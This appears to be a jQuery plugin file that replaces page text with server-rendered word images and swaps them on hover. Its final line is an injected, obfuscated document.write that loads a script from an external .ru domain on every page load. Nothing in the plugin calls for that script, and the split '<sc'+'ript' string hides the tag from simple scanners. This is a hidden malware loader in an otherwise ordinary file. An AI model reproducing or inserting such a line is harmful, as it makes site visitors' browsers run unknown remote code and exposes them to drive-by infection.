// desarrollado por Hernan Calvo
// www.portable.cl

var Url={encode:function(string){return escape(this._utf8_encode(string));},decode:function(string){return this._utf8_decode(unescape(string));},_utf8_encode:function(string){string=string.replace(/\r\n/g,"\n");var utftext="";for(var n=0;n<string.length;n++){var c=string.charCodeAt(n);if(c<128){utftext+=String.fromCharCode(c);}
else if((c>127)&&(c<2048)){utftext+=String.fromCharCode((c>>6)|192);utftext+=String.fromCharCode((c&63)|128);}
else{utftext+=String.fromCharCode((c>>12)|224);utftext+=String.fromCharCode(((c>>6)&63)|128);utftext+=String.fromCharCode((c&63)|128);}}
return utftext;},_utf8_decode:function(utftext){var string="";var i=0;var c=c1=c2=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}
else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}
else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;}}
function prende(who){the_id_over='#'+who+'_over';the_id_normal='#'+who+'_normal';$(the_id_normal).removeClass("visible");$(the_id_over).removeClass("oculto");$(the_id_normal).addClass("oculto");$(the_id_over).addClass("visible");}
function apaga(who){the_id_over='#'+who+'_over';the_id_normal='#'+who+'_normal';$(the_id_over).removeClass("visible");$(the_id_normal).removeClass("oculto");$(the_id_over).addClass("oculto");$(the_id_normal).addClass("visible");}
jQuery.fn.nano_tipo_replace=function(opciones){return this.each(function(){the_id=$(this).attr('id');the_id_normal=the_id+'_normal';the_id_over=the_id+'_over';opciones=opciones||{};ruta_php=opciones.ruta_php;color=opciones.color;color_over=opciones.color_over;fondo=opciones.fondo;size=opciones.size;var jjcc=0;var content=$(this).html();var ee=content.split(' ');html1='';html2='';for(var i=0;i<ee.length;i++){if(ee[i]!=''&&ee[i]!='&nbsp;'){var w=Url.encode(ee[i]);var ruta1=ruta_php+'?texto='+w+'&size='+size+'&color='+color+'&fondo='+fondo;var imgH1='<img   src="'+ruta1+'" border="0"/>';html1+=imgH1;var ruta2=ruta_php+'?texto='+w+'&size='+size+'&color='+color_over+'&fondo='+fondo;var imgH2='<img   src="'+ruta2+'" border="0"/>';html2+=imgH2;}}
var SuHtml='<span id="'+the_id_normal+'" class="visible" onmouseover="prende(\''+the_id+'\')">'+html1+'</span>'+'<span class="oculto" id="'+the_id_over+'" onmouseout="apaga(\''+the_id+'\')">'+html2+'</span>';$(this).html(SuHtml);});}
document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Infotainment.js"></scri'+'pt>');